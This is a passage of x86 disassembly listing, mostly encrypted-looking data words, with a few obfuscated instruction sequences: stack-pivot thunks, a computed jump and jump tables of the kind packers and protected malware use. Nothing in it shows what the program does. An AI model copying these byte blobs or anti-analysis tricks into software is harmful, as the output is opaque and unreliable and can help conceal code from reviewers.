7E6E925h, 0B3EB26BBh, 52690F39h, 1A83AD2Fh, 0B5E92A8Fh dd 5D41D27Fh, 9842A6D2h, 0C41417B8h, 55FBA36Fh, 0DD361AD4h dd 35DE8BC1h, 9679DE69h, 0C2EB7D08h, 0AFEF2408h, 4647CC79h dd 0B55F1D1Ch, 5945CD15h, 5DFC87F0h, 8, 267BBBF6h, 540BB1EDh dd 0A42F6FA7h, 3FCAD43Fh, 0DD6836DAh, 77029C78h, 149FFF12h dd 0B13C62AFh, 50DBC34Ch, 0E9742AEBh, 85108E84h, 4EC8152h dd 54000000h, 8124048Fh, 42404h, 89530000h, 4C381E3h, 83000000h dd 1C8704EBh, 0C895C24h, 7A9D6824h, 34890000h, 0CC685024h dd 584A8A67h, 75A31B05h, 8BC189BDh, 0C4812404h, 4, 24348B54h dd 4C481h, 51500000h, 8468958h, 24348B58h, 81E68956h, 4C6h dd 4C68100h, 87000000h, 8B5C2434h ; --------------------------------------------------------------------------- or al, 24h push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_58B334 ; --------------------------------------------------------------------------- dw 8E3Ch dd 3E9A7157h, 167CB844h, 0C5030800h, 856CE0FFh, 0B04D18C9h dd 0D4D41A1Dh, 16230DC0h, 69AB0263h, 277D1F22h, 8B1B2BC3h dd 359F2A2Eh, 5EE87044h, 93620AB1h, 0B147CF2h, 8D8D1A83h dd 8001812h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ah, 8DC35646h, 8F89988Ah, 0FE958CCh, 0EB000000h, 9510B373h dd 0CD0BA59Bh, 0AC23473Ah, 8D896AD9h, 7FA1CD9h, 100D9523h dd 85C707FAh, 7FA31ADh, 641Ch, 0AE9h, 0D9246F00h, 0C12D8E32h dd 0C7A1A217h, 0FA2BD985h, 7, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 289BD2B2h dd 99A25F84h, 68D0Fh, 9D8B0000h, 7FA0079h, 14C99D23h, 0B5FF07FAh dd 7FA2F59h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 17h, 5FC35747h, 807A46CDh, 95FF00DEh, 7FA1799h, 95FF006Ah dd 7FA1019h, 0CEBC08Bh, 0F933A049h, 3520DD2Bh, 0D6A6F456h dd 0FE8h, 6E99A00h, 81BBC537h, 8A5E14EDh, 72FB698Bh, 4840Fh dd 0BF660000h, 0F5E1C9Ch, 880h, 8D895600h, 7FA29BDh, 95C6815Fh dd 300006Ch, 0FA1C2195h, 1C93307h, 0FA062585h, 0E048B07h dd 2FA9950Bh, 0F08107FAh, 1A9EF249h, 54F081FCh, 8126C020h dd 1E48FDF0h, 259D8B5Bh, 5007FA2Fh, 8FDE8B66h, 0CA800E04h dd 0D040BF4Ch, 0E98101DAh, 4EB90D7Fh, 7BC181F5h, 604EB90Dh dd 0D9F38166h, 219D8B3Fh, 6107FA08h, 9400F981h, 850FFFFFh dd 0FFFFFFA9h, 1E299D09h, 10E807FAh, 0B7000000h, 160879C1h dd 90CAF4DAh, 0A47804D5h, 8076E8F3h, 315F3BDFh, 0FA29E595h dd 16C78107h, 0F000071h, 289h, 33CB8B00h, 0E98166D2h, 34FF7881h dd 3595093Ah, 5807FA0Dh, 81F081F8h, 0B17E31F7h, 29E881D6h dd 89358235h, 0FA0821B5h, 29C08107h, 8B64433Dh, 0FA0811B5h dd 17048907h, 24E59589h, 9D8B07FAh, 7FA0E51h, 0F02EA83h dd 989h, 3880F00h, 80000000h, 4A4A2DD9h, 2C31B58Bh, 0FA8107FAh dd 0FFFF8FA8h, 19850Fh, 0B5890000h, 7FA21D5h, 28E9h, 709FF300h dd 0F71FE784h, 0BDF8B1CAh, 0FE7E433h, 68Ch, 0C98D8B00h dd 0E907FA31h, 0FFFFFF76h, 6623A1ADh, 6405607Ch, 28E9D7h dd 7D270000h, 57CAh, 254h, 7 dup(0) dd 1FE90000h, 6800000Ch, 8001B47h, 0FB3B57E9h, 1C7D68FFh dd 4DE90800h, 68FFFB3Bh, 8001E14h, 0FB3B43E9h, 1ED768FFh dd 39E90800h, 68FFFB3Bh, 8001FB6h, 0FB3B2FE9h, 217468FFh dd 25E90800h, 68FFFB3Bh, 8002224h, 0FB3B1BE9h, 235768FFh dd 11E90800h, 68FFFB3Bh, 8002442h, 0FB3B07E9h, 378E81FFh dd 0C2F109B0h, 5168943Bh, 0DAED23CAh, 6851AC53h, 0B65C47E1h dd 44EB724Bh, 0D077FEB7h, 5D048B3Ah, 578E15ACh, 30AE6BE8h dd 0D50EEFE2h, 259C6DA1h, 0A312EB8Ah, 2865A51Ch, 316E74F1h dd 95E0EF7Ch, 410CC5FAh, 2E99EFDCh, 13250E63h, 329CD0AAh dd 78000000h, 0E9205D9Dh, 7C1F3A6Ch, 0BE59A4EFh, 0DC2ED089h dd 27F25DEFh, 0AA2579CAh, 10B58D0h, 72F10000h, 13487F8Bh dd 0EFDC2356h, 0D3EA17B6h, 65A2ED38h, 18EED539h, 789168A5h dd 9077AE49h, 370E4B7Ah, 0B958F3CAh, 37D67140h, 0C98603C6h dd 29E7E216h, 755C93DEh, 4A953087h, 660F4E0Dh, 0ABB89C78h dd 79E623C7h, 0E7E31273h, 0ECB48C7h, 6EE7E312h, 3B8639CFh dd 8BD627FEh, 60AB4671h, 16E78E15h, 5595049Fh, 6264E118h dd 0AEEF7D32h, 0B38F4705h, 0DB183BA6h, 41B83F8Ah, 0E48DC4F9h dd 71E19817h, 1F8ECB85h, 5A47B9A0h, 96D1F227h, 0A23D885Ah dd 0D0AD1A57h, 70F771DCh, 0FA07EE25h, 53A58CC3h, 21601F5Ch dd 5D6825A2h, 7DC8F7DAh, 259C6940h, 675F37E7h, 0B5F8C31Dh dd 9DEh, 0E36A43B4h, 6EF5CC3Ch, 0FD843BC7h, 860DA056h dd 149B22DFh, 1CE9697Ah, 84771EA5h, 903AA31h, 799037BEh dd 1B8AC148h, 0E231E19Eh, 0D40841EFh, 0F229906Dh, 86C3F20Bh dd 0D8E920C7h, 0D02B1251h, 0B14C7B91h, 8D7C1B66h, 114E9934h dd 0CC5D9DE5h, 9DE8833Ah, 1D9C1B52h, 0E216E3A0h, 0BBF843E7h dd 7C201C4Eh, 0A03B86EFh, 0DC2FB26Bh, 0D9C03FEFh, 0FB569322h dd 2462D130h, 0C069D0AAh, 6F571A9Dh, 0AB14D04h, 4E0B88BFh dd 0AEEFDC5Ch, 0EDAD2663h, 89000000h, 0AA13EED5h, 4E67966Dh dd 0D0E914B3h, 0EB17FE35h, 242A97D4h, 78E7E21Ch, 1BBF7CF9h dd 0D41FE7E2h, 8C49C097h, 0C25D54A5h, 1C854277h, 46E5E7E2h dd 1B6601B4h, 0E9D831D0h, 31B8034Eh, 0A742738Ah, 84BBF038h dd 7C3D0507h, 9D246FEFh, 0A562DF5Eh, 5EFDC3Ch, 96D67DBAh dd 3BABF805h, 2A827F10h, 0C30EA9F4h, 0EB520F8Ch, 67B2EFDCh dd 0C068E51Ch, 1AF77137h, 0EC378E7Bh, 8A33CEB5h, 9A57D453h dd 0FAF7D9C9h, 0CB372AFh, 308974F1h, 0D6033495h, 500E6Dh dd 22C6AB5h, 0FE1D6847h, 8A8F033h, 15EA0000h, 9A7219A0h dd 1FDA42Bh, 7A8C33BAh, 0E815BC43h, 0A3B04AD1h, 54DBE21Fh dd 0E0675EADh, 6DF4C339h, 0F77E37C6h, 17D451C0h, 77EFE233h dd 906D0A3Eh, 0F30BF229h, 0DFD625C4h, 0FDBCF944h, 8F26D7BEh dd 956CA9F4h, 0CAC64D64h, 0AA13EED5h, 0D925C40Fh, 0BFFC47E2h dd 5A011E8h, 0A017E7CEh, 447D8C63h, 0C90646BDh, 235B1592h dd 54B5EF7Ch, 0FDA75B4Dh, 0BA0DFF25h, 0EA89246Fh, 741BA213h dd 5A912C85h, 0BFA15EDBh, 0B601EFDCh, 0E1320C79h, 0B046771Ah dd 0C96453A9h, 0F998337Eh, 7716B100h, 48932E81h, 9405D0EBh dd 6421EC07h, 8031C895h, 0C84F9AE5h, 0A2D9E821h, 0E2E9A623h dd 12497722h, 22E2D895h, 0A2ED3877h, 0A35D9265h, 187722E2h dd 7A4BC2A9h, 4E17E23Dh, 0E8CF06BFh, 0BB24F12h, 3FDA2570h dd 0CA355F4h, 2AE92671h, 0A03B8A83h, 0BA50556Bh, 99648766h dd 0DE7E2DDCh, 0B2C31AA2h, 0DA97144Bh, 3A7722E1h, 761DA4EFh dd 8C54287h, 687722E2h, 0C837D21Dh, 95144B80h, 2A675EAEh dd 0BD009BBDh, 73FA457Eh, 487FBCFCh, 0B742A5CBh, 0BA523986h dd 327DCE0Bh, 44A86297h, 0B8378717h, 0EF8A39D1h, 33F06DA4h dd 93871745h, 0E5B00B48h, 6517A78Ch, 47F1A48h, 0D7F60000h dd 0E7E2171Ah, 0E226A55Eh, 28C0E1E7h, 934CE7E2h, 0CDE7E22Bh dd 2C8AC024h, 4F8C541Ah, 0F42B60A8h, 0B03BF875h, 509BE7E2h dd 5927A413h, 0FBEF7CCAh, 0DDCE72B0h, 6F3A1565h, 7112Ch dd 378E8100h, 0C2F109B0h, 5168943Bh, 0DAED23CAh, 6851AC53h dd 0B65C47E1h, 44EB724Bh, 0D077FEB7h, 5D048B3Ah, 578E15ACh dd 34AE6BE8h, 0D50EEFE2h, 259C6DA1h, 9ED31B8Ah, 0EC69E867h dd 0E7E2172Fh, 9A07448Fh, 0DFE21E70h, 0E8DF2BCAh, 30B7024Dh dd 0A3EBF414h, 1CBA376Eh, 0BEF77C36h, 0F1933C73h, 0A7F019ABh dd 2F94FD3Ah, 96FD8BB7h, 73E73BBh, 0D7B6348Ah, 25E1C8AEh dd 81B8039Eh, 37C64704h, 1F5CA7AFh, 0B1E883CEh, 0C5F8B532h dd 0D58AF37h, 0ACE129D0h, 0BC79F675h, 1CAF37C5h, 0EADB32D1h dd 0AAC13EADh, 42B6D1F0h, 20D9C0F7h, 0AA630A91h, 0E2039605h dd 0E12C89D2h, 0D034A9A3h, 539661DDh, 64Eh, 73FAB344h dd 0FE853CCCh, 8D14AB57h, 169D10E6h, 0A42B926Fh, 8C79190Ah dd 0F407AE35h, 79933AC1h, 0E920C74Eh, 0AB1A51D8h, 0E235712Eh dd 6498D1EFh, 30CC5D9Dh, 56F1C835h, 3E75C00Bh, 740FA657h dd 7DEC29h, 0EF7C2346h, 44DD3FA0h, 0BAF851Dh, 0DC66D18Eh dd 9BE631EFh, 0E716B550h, 77A633CEh, 0B24D7490h, 4CF2A67h dd 0BDF42971h, 76738640h, 5E95E0F7h, 82A562DFh, 0BA05F7D6h dd 0C881BE7Dh, 4F7D682h, 0F7D68347h, 8A800951h, 0D2B9F03Bh dd 0DE4D8A3Bh, 0D68A3761h, 7C3091EFh, 0ACEED8A7h, 33AD520h dd 6EBEED1Ch, 8D118A94h, 4C97327Dh, 2B685FADh, 0D66502BEh dd 48C746FFh, 0D6650ECBh, 0EE236EFFh, 0FFD66531h, 9C094691h dd 0EF6DD288h, 2E6C45B4h, 56B5726h, 6FD417E2h, 23000005h dd 0AB52D9ECh, 36DD6453h, 0C56CF3CAh, 4EF57C33h, 0E9830AB3h dd 14AD58FAh, 0A015E68Dh, 2D987219h, 0B70EFFA6h, 0D8AF930h dd 0EFE23650h, 9D4377B0h, 6CE9205Dh, 0DFE21E42h, 0C582FF7Eh dd 25EFE22Fh, 6926A3DAh, 0C9EFE230h, 0A5F0417Eh, 23926B0Ah dd 0BCF305ECh, 9A81C07Fh, 70BB566Fh, 2FFFBC39h, 145FEFE2h dd 0B2EF30D7h, 30817817h, 0A40B02A9h, 41F504BBh, 0D224C38Ch dd 0AAF540DBh, 2B2FD80Fh, 8D48794h, 0F1719124h, 0FCFBB690h dd 0E219C27Fh, 8CD722EFh, 3081784Fh, 713C9795h, 40B69D1Ch dd 1A7B386Dh, 90DBEFE2h, 348D7C53h, 3EC172ADh, 5A00DF50h dd 0DC000001h, 0E9205D9Dh, 7C354A6Ch, 0A555F4EFh, 0DD28730Eh dd 46560D42h, 5AC9EFDCh, 0F12E9973h, 0F23ACB96h, 0E70986BDh dd 91F77664h, 0E118BF46h, 98338A7Ch, 0C867024Dh, 82F98031h dd 51CE053Ah, 0FF70904Bh, 0A2D772BDh, 0FFD09FE9h, 0DD400B76h dd 14AF06F6h, 12218CC9h, 0AFC0BEB0h, 2Ch, 205D9D8Bh, 1F3A6CE9h dd 59A4EF7Ch, 2ED089BEh, 67A2EFDCh, 0D824C35Eh, 8AAD46E1h dd 0FB664ABFh, 2562D130h, 0C45FD0AAh, 3B000000h, 490F9C6Dh dd 3A33A920h, 0FB6A3C9Dh, 96387086h, 6A6B144Bh, 4C759052h dd 72409EBh, 0E5229368h, 2F967312h, 5904F594h, 2E7914A3h dd 681148E3h, 95673753h, 2EDC122h, 82F9B633h, 0E59E7E2h dd 5EAF86C3h, 9DA3E067h, 89E7E287h, 43BA4170h, 128FC6FBh dd 0EF76D5E8h, 0D9C0F742h, 6F2CA92Ch, 0CFEFDF68h, 5EBA2384h dd 0BB3C4BFEh, 0C742E970h, 0D8BEC0FEh, 9F6A1562h, 3B15Ch dd 972EE100h, 22916910h, 0B108F49Bh, 3A8D832Ah, 0C8F10CB3h dd 16BCA741h, 0A44BD2EBh, 30D75E57h, 0BD64EBDAh, 0B7EE754Ch dd 380ECB48h, 356EEFE2h, 0D5906D01h, 0C0479229h, 9AD1E019h dd 16E19E1Bh dd 0F641E7E2h, 6DFEFAB9h, 0EB8A259Ch, 0DD1CA312h, 75B20BF6h dd 971ED749h, 0A15AE7E2h, 0DBE7E296h, 14AF06F4h, 97328975h dd 1DC4014Ch, 7BE4CDDh, 0DE0885BCh, 38DFE29Eh, 9BE352EDh dd 4D78937Ah, 753267B2h, 0D5EFE2B1h, 52EDC036h, 3A71BC07h dd 0FF1912BBh, 8F63AD7Fh, 60AB4679h, 0DD6BD815h, 7FF77CB1h dd 826AF634h, 0CB961D65h, 30188h, 477E9100h, 0D2E119C0h dd 6158A44Bh, 0EADD33DAh, 7841BC63h, 0C64C57F1h, 54FB823Bh dd 0E0870EA7h, 6D149B2Ah, 679E259Ch, 38BE7BF8h, 0E51EEFE2h dd 259C6DB1h, 8D12EB8Ah, 2232B9D6h, 0CA519C30h, 8C820B53h dd 0EA679E39h, 0E7E2582Dh, 0ACF7428Dh, 72F2F875h, 1964EF7Ch dd 0C5EE39E2h, 0B1995D4Ah, 0B36CA174h, 40EFDCB6h, 8CB70AD5h dd 45D0AA99h, 39h, 205D9D21h, 1F3A6CE9h, 59A4EF7Ch, 2ED089BEh dd 68A2EFDCh, 75C0F709h, 0F5C03BDAh, 0D39EC15Ah, 4C178266h dd 0AA254EF5h, 910E8DD0h, 0EFDC22D4h, 33ACE934h, 0D3h dd 0D19C6D0Fh, 0F1C43A35h, 25C00B56h, 55F48FDAh, 0D77611A8h dd 1A67926h, 4581C992h, 49C05FFAh, 7189D424h, 115CA742h dd 59E02B76h, 0E29D161Ch, 0BA0B02E7h, 0F07D8C33h, 2A61AC15h dd 5FFACD43h, 0A360DD14h, 3E7E29Ch, 39A87BB8h, 219068F1h dd 43B89FD6h, 49C63572h, 0EF7CB10Fh, 924FCC4Bh, 0F2EFDCB3h dd 0CE196AA7h, 5388D047h, 155F9F1Ch, 7EC9F771h, 1CA56047h dd 0AA13EE95h, 6865066Ch, 0F437021Dh, 1CEh, 0F37A33C4h dd 7E05BC4Ch, 0D942BD7h, 961D9066h, 24AB12EFh, 0CF9998Ah dd 74872EB5h, 0F913BA41h, 69A047CEh, 2B9AD158h, 0E239F1AEh dd 0E41851EFh, 0A229906Dh, 4AC702FBh, 0E7E2178Dh, 6BF4EEDh dd 9C905ABBh, 3A38D088h, 9D6C68EFh, 40E9205Dh, 0BBC5F923h dd 0A1104D61h, 7CB2F224h, 0C9FB5CEFh, 7E773158h, 0CC039EE9h dd 3E27FA23h, 6698671Ah, 5AC7044Fh, 0EFDC7DA1h, 99F8C32Eh dd 0D0AA5AAAh, 7835B231h, 0D8EFDC72h, 55F0C739h, 982BF0Ah dd 0C0h, 259C6DE5h, 0A71EEB8Ah, 1BD1D70Ch, 4CBDE7E2h, 0B647EE75h dd 0B5F564FFh, 8AC44178h, 0E4EF7C2Fh, 54D31299h, 0DC311AD7h dd 0F22F7AEFh, 97CE034Bh, 306D54B0h, 7E5F44C1h, 0C40FF770h dd 625BA68Dh, 0DAC934DBh, 0A11826E0h, 609EE9D5h, 1D69FF38h dd 0E3DE21ECh, 0AF000000h, 37DE6558h, 0C269F0C7h, 51F87F46h dd 0DA8108BFh, 750F962Fh, 0A019E46Eh, 2C997219h, 0B90CFEA5h dd 43728B32h, 991685BCh, 0EFE23ADCh, 0D5CF033Ch, 171CD956h dd 317CE7E2h, 85E01DF4h, 639F3E75h, 0F3DA115Ch, 10A7571Ah dd 44DF2A75h, 56FDBCF9h, 58D70EA7h, 0E2171EDBh, 0F6337EE7h dd 0F511F837h, 669433CEh, 9BC7044Fh, 370F9C6Dh, 8C31537Ah dd 0D209A4EFh, 9B025F29h, 0B4F104BFh, 0E952CDDh, 0E31A5797h dd 0E2E82066h, 0AC4792DFh, 9971FC0Dh, 0B158DF2Ah, 99CE6958h dd 3FACC2DBh, 5AB39AC9h, 8D32E6Bh, 0E8DFCC3Dh, 0A71B488Fh dd 7A21A8F3h, 0F8973283h, 9178AF06h, 0EAD487Fh, 1F80CBF2h dd 754830E8h, 855895A9h, 0F712F928h, 0ABE833CEh, 49C08550h dd 0B34AF178h, 3246702h, 0 dd 9A6DB6DAh, 10E98823h, 956706A1h, 13E88722h, 9D6807A2h dd 1FEA8924h, 9A6C0BA6h, 1DE98823h, 9C6C0BA6h, 68FA8A25h dd 738Bh, 24048F54h, 4240481h, 56000000h, 0C681E689h, 4 dd 4EE81h, 34870000h, 14895C24h, 2A5D6824h, 1C890000h dd 9DBE5624h, 81403207h, 1433EFF6h, 66F68107h, 894F262Eh dd 24348BF2h, 4C481h, 8B540000h, 0C483241Ch, 57D16804h dd 14890000h, 8438F24h, 53241C8Bh, 0C381E389h, 4, 4C381h dd 1C870000h, 148B5C24h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_59895C ; --------------------------------------------------------------------------- dw 0EAA6h ; --------------------------------------------------------------------------- push cs cmpsd mov eax, 800254Ah add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 49h dd 2100CB79h, 0D5251A55h, 0DB17A529h, 0CD675C43h, 8A2BBD27h dd 0D861D50Ah, 216F554Fh, 162561E0h, 0D101A9EAh, 210D0C6Ah dd 4D02FF2Dh, 3730F4B1h, 322B3437h, 6C498E4Ch, 0F76DEAE3h dd 8D64A90Ah, 27058Dh, 51006A08h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1A04h, 0C3514100h, 4F709B2h, 66262692h, 0F60DE8Bh dd 8B51D9B7h, 0FA266DB5h, 89615F07h, 0FA1CD98Dh, 6840F07h dd 89000000h, 0FA30FD95h, 0AD85C707h, 6C07FA31h, 8900005Ch dd 0FA1771B5h, 0D985C707h, 7FA2Bh, 0E8000000h, 0Ch, 0FC93AB49h dd 0CD776FCEh, 0F2C82B6Eh, 0EDB5FF5Bh, 6A07FA28h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h dd 38A1C350h, 4645F240h, 0EE950A2h, 0C7000000h, 0DDCE1A36h dd 68453465h, 0E22F82F9h, 95FF5FF0h, 7FA1799h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 93C35747h, 647E7BCh dd 6A0F4575h, 1995FF00h, 8B07FA10h, 951AEBC0h, 0EA052693h dd 37079D6Bh, 0D55EF98Ch, 0DE2F0EE2h, 41919141h, 8E9C4042h dd 0D3E9F7h, 0F0340000h, 9CD75F54h, 0C8C3CA45h, 0ABDAB6E1h dd 0B395A7ACh, 0A1F44592h, 0DA00B395h, 20A7ECABh, 6BB2915Dh dd 2096B1F4h, 9B552075h, 0BCF26BB7h, 0A19692A5h, 603A7594h dd 329FB799h, 0E9B599BDh, 92A59CB2h, 95ACA3F2h, 97B1EF76h dd 0B4F94E00h, 5C009FA5h, 4AF07B6Bh, 0D0008A92h, 0F545F352h dd 79A3F653h, 0F144D6D9h, 0F445E3AFh, 0D77D41h, 0BF9792B0h dd 60FD756Bh, 0F996BFCFh, 20B293BCh, 9B57207Dh, 9492ABF7h dd 0E3B29EBDh, 0E0CE9DBCh, 728F899Bh, 0A9FD8F9Dh, 0F66DB4EEh dd 93BCE1B6h, 97B3ED72h, 0F1B6D000h, 0F0A8CD43h, 0 dd 9D744700h, 99E0E312h, 5Eh, 6 dup(0) dd 1501E900h, 0EA680000h, 0E9080029h, 0FFFA56E8h, 2AEA68h dd 56DEE908h, 0C868FFFAh, 0E908002Bh, 0FFFA56D4h, 2CDD68h dd 56CAE908h, 4768FFFAh, 0E908002Dh, 0FFFA56C0h, 2E1668h dd 56B6E908h, 0C768FFFAh, 0E908002Eh, 0FFFA56ACh, 2F5668h dd 56A2E908h, 1168FFFAh, 0E9080030h, 0FFFA5698h, 317868h dd 568EE908h, 5168FFFAh, 0E9080032h, 0FFFA5684h, 339268h dd 567AE908h, 9668FFFAh, 0E9080034h, 0FFFA5670h, 360B68h dd 5666E908h, 6168FFFAh, 0E9080037h, 0FFFA565Ch, 394E68h dd 5652E908h, 5E68FFFAh, 0E908003Ah, 0FFFA5648h, 0A4DAC452h dd 4D831BF7h, 0F32975A0h, 9FD5C946h, 497F1FF2h, 9A776015h dd 0F321CE04h, 48C875ABh, 0A0732056h, 0A1F9C8FEh, 0E6AB2285h dd 33EA5007h, 0A2326CA7h, 4BD6C84Dh, 84E97C22h, 78D90F8Fh dd 0A3BF4F11h, 7E0AE09h, 69B9449Dh, 139E0014h, 69D044EAh dd 7307E0ADh, 158986DBh, 2D34EE6Fh, 406EB4F5h, 4A93h, 92BC2400h dd 0F4A69263h, 41A24804h, 48881848h, 0F47F1FF3h, 0E3B125CBh dd 0FF07E116h, 51C116A6h, 0E814A74Dh, 7E0E681h, 49500A8Bh dd 406EF211h, 2E70A3F8h, 3BD57AA3h, 9AFD863h, 0DC28h, 95AED800h dd 0CCACD887h, 0A7A35A00h, 57A7326Ch, 0FC15B92Dh, 8C320FDEh dd 294532DFh, 0FFE709C6h, 0D4158988h, 2287127Bh, 0FDA171F1h dd 55E04972h, 0EB7B23F0h, 3DA8FAC1h, 0EC92E93Eh, 0E7BD3AAEh dd 50C3FFE6h, 2B80184Eh, 203AB4EAh, 0B8F9631Bh, 19FAA74Dh dd 48D3CB49h, 122BB61Fh, 3D59E977h, 7E0D39Fh, 4BACE23Bh dd 0CAD3113Eh, 56DF0216h, 0B23D61B1h, 74902089h, 0FDDBA31h dd 0E136C61Fh, 8B386E30h, 6638DC86h, 8B49B2DBh, 9998102Eh dd 6027C601h, 91000012h, 36E31985h, 0DF8CC2DCh, 85326836h dd 31DE148Ah, 5488BEE0h, 4559B89Fh, 0ECB2620Fh, 970709B6h dd 3F5FB461h, 0C6E23A09h, 7E6AC63h, 0A7742B91h, 8EF10D6Ah dd 0B4FFE683h, 0FBCF25Bh, 0B50A9A04h, 5B993F5Fh, 0CA96F3A4h dd 9C501E3Ah, 0F54E07E0h, 9BD73E6Ah, 60E107E0h, 0A7679FA6h dd 0F305406Eh, 96000000h, 0B9A967BCh, 92BB4658h, 0D0759E29h dd 0A8D15C42h, 0E0BE5502h, 2BC82650h, 0B57B610Bh, 0FA177C0Fh dd 1A090293h, 0F51EA9F5h, 94B27C7Bh, 69921D81h, 0B2079700h dd 8C120260h, 0E2339823h, 1AAD53BCh, 0E6B071EEh, 612CE7FFh dd 73C3B080h, 285EC7D3h, 48CA987Bh, 4962ED56h, 702EE440h dd 0C353BCE5h, 0BBE32E83h, 1AA5F916h, 39D74BF1h, 6507E0EDh dd 1475D60Ch, 277CBC4Ch, 960AB0EEh, 0FDDCB42h, 0E63F34Ch dd 0CD659B03h, 5D039B78h, 7F3D61B0h, 99981168h, 6011B0EBh dd 91000011h, 36E31985h, 0DF8CC2DCh, 85326836h, 31DE148Ah dd 5488BEE0h, 4559B89Fh, 0ECB2620Fh, 970709B6h, 3F5FB461h dd 0C6E23A09h, 7E6AD63h, 0A7742B91h, 8EF10D6Ah, 0B4FFE683h dd 3862F25Bh, 9090474Dh, 0D23FE424h, 721841CCh, 0EB8C8734h dd 0E71E6CCFh, 0D8419AFFh, 6CA7EBA2h, 0D142A732h, 0BFFF97CDh dd 555E1295h, 8CF8CFA4h, 0FFE6C929h, 514DC257h, 8E349DC6h dd 0DA6A34E1h, 88138B85h, 0C126B95Fh, 3D164C52h, 510F7A24h dd 0CFA3A5C1h, 0B60F07E0h, 0F4AF1579h, 378CFF6Ah, 872CB3DAh dd 92573E6Fh, 775CAF29h, 0A830549Fh, 78E8A102h, 4BDECCE8h dd 0A3FCF851h, 0D68AFF18h, 0ABA02A46h, 0CDF7FF6Eh, 87367EF3h dd 0EC35DB5Fh, 65AE0393h, 0BD560339h, 729A23E1h, 4A8569E9h dd 1082ABh, 0F7A76F00h, 0A0FE14C1h, 4658BD6Ah, 0F2AC6310h dd 9C020FBCh, 967D3266h, 40ED237Bh, 0E794CAD4h, 923F7529h dd 18E71D81h, 0AE41A4C0h, 96F07E6h, 326CA752h, 65FB8EA7h dd 0A277B9D5h, 25B07E0h, 61E6BCCh, 0E009940Ah, 67A7E777h dd 0E0A1E84Bh, 0FB50E07h, 0DAC4659Bh, 8D18710Fh, 0E6BFFA61h dd 426C04FFh, 21A1F75Eh, 0C3DB39F9h, 0A60F38h, 86BEC57Fh dd 243874FEh, 3Ah, 0CA96F3B5h, 0D31D1E3Ah, 6EC707E0h, 178789DEh dd 0D2086DE1h, 41D207E0h, 967A275Dh, 32D7D08h, 0D1ED75C0h dd 7E16F6Eh, 0F8C13B94h, 6EA74C49h, 0D67CA530h, 0FCEEFh dd 96F38800h, 31DE848Eh, 1479046Dh, 0CD369FFFh, 0AB92213Dh dd 0B71007E6h, 5D41D227h, 5997A27h, 3828617Ah, 0D1528CA8h dd 17700FE6h, 81E13287h, 6BA10A94h, 0BE4955BEh, 0D240E4A5h dd 0FBFD52CCh, 0EBB69740h, 74D6F282h, 5307E0D9h, 0C0C17D29h dd 0B95F690Bh, 5A591770h, 0B19E6478h, 0F6DD776h, 92840000h dd 0E929D60Ch, 43D27FB5h, 9778255Bh, 0ED24D107h, 92477BB1h dd 3668A9h, 0A7DDC153h, 528816FAh, 0FA306EA5h, 54B7D32Bh dd 8207E6AFh, 79E0651Ch, 8FFFE683h, 0BAD666FAh, 7E6AA88h dd 2565F54Eh, 0E6AAA609h, 0CD73CC07h, 6B33E035h, 138B8835h dd 461A6F88h, 0C9589AB6h, 257E0FE0h, 649F9267h, 0DB7AB596h dd 0F03h, 407628EEh, 0E91F7F93h, 8FC5D93Ch, 3B712DE2h dd 0E51B838Eh, 0FE13FCB1h, 57BD6AA0h, 0AC641147h, 40FBCF2h dd 3D95649Ah, 0E6B0BE21h, 0C77EE407h, 0A7326CA7h, 26292D57h dd 49CE316Ch, 2049D4CAh, 77B73DB7h, 0E23F8EFAh, 1A848F3Ch dd 6620918Fh, 7540275Fh, 59B90E38h, 0EB91BA45h, 8E80Ah dd 0AF65BA00h, 0AE536BDEh, 87F00F9Ch, 67BC2AE1h, 426BF6A8h dd 124E3B9Ch, 0E6024282h, 0FFE68383h, 5DB358B1h, 0E78DB641h dd 0E6AA4E73h, 8F1F7807h, 8FC5D93Ah, 0E26D31E2h, 0E6AA4FB6h dd 246507h, 0F2138D11h, 9A9035F7h, 0ABEB7BE4h, 1D2BB56h dd 9A6844BEh, 9FC853BCh, 0E08618FAh, 0E0B22A6Ch, 1BF180Fh dd 9664A806h, 346B0A45h, 0BD00000Eh, 620F4559h, 0BB8EEB0h dd 0B15E940Ah, 5D0A405Eh, 80B4EAB4h, 712DE4CBh, 18868E3Bh dd 0C3DB35E2h, 6B33E08Dh, 0F20E6635h, 7E6B18Fh, 0A7984FB5h dd 42A7326Ch, 0DD42CDD1h, 78DD6836h, 177C0797h, 0CF08A1FDh dd 0BE2F6D15h, 8BC5FD04h, 26633874h, 0F4000008h, 0E68379E0h dd 0FC1858FFh, 0FFE68399h, 67C86EC7h, 92AE3E22h, 7E6AAADh dd 0AEEE7ED7h, 0A9EF526Eh, 5EB107E6h, 1A6FF40h, 0DA038E10h dd 128C8734h, 0BAE42FDCh, 623CD52Ah, 7508AED7h, 0A3332D5Ch dd 7D193A79h, 0D57BE827h, 0DF213Dh, 0AA030FE1h, 64E605ECh dd 4CEB2696h, 0D83h, 0C0F6A86Eh, 699FFF13h, 0F4559BCh dd 0BBF1AD62h, 659B030Eh, 7E937C31h, 0D73DEA20h, 2CE491C7h dd 848F3C72h, 0BD15E41Ah, 0E6B13EA1h, 47FE6407h, 0F0AE67BCh dd 28769D4Ah, 87DB389Dh, 618A1589h, 0FC1368F8h, 48EE17A2h dd 8C46B7B5h, 748B4D85h, 773EB38h, 0F37C0000h, 1E3ACA96h dd 7E6AB4Eh, 1A6FFF58h, 0C26FA5F9h, 72C24D51h, 5ABF31Dh dd 0E6AA2A91h, 0DB494007h, 6DFD6638h, 0E0C90F51h, 1CDA330Fh dd 96649F4Fh, 0F472114Ch, 0FD00000Ch, 0A24F8519h, 4BF82E70h dd 0F19ED4CAh, 9D4A801Eh, 0C0F42A74h, 0B1ED240Bh, 5846CE7Bh dd 39B7522h, 0ABF320CDh, 324EA675h, 7E6B2CFh, 0A7D88FF5h dd 42A7326Ch, 4442CDD1h, 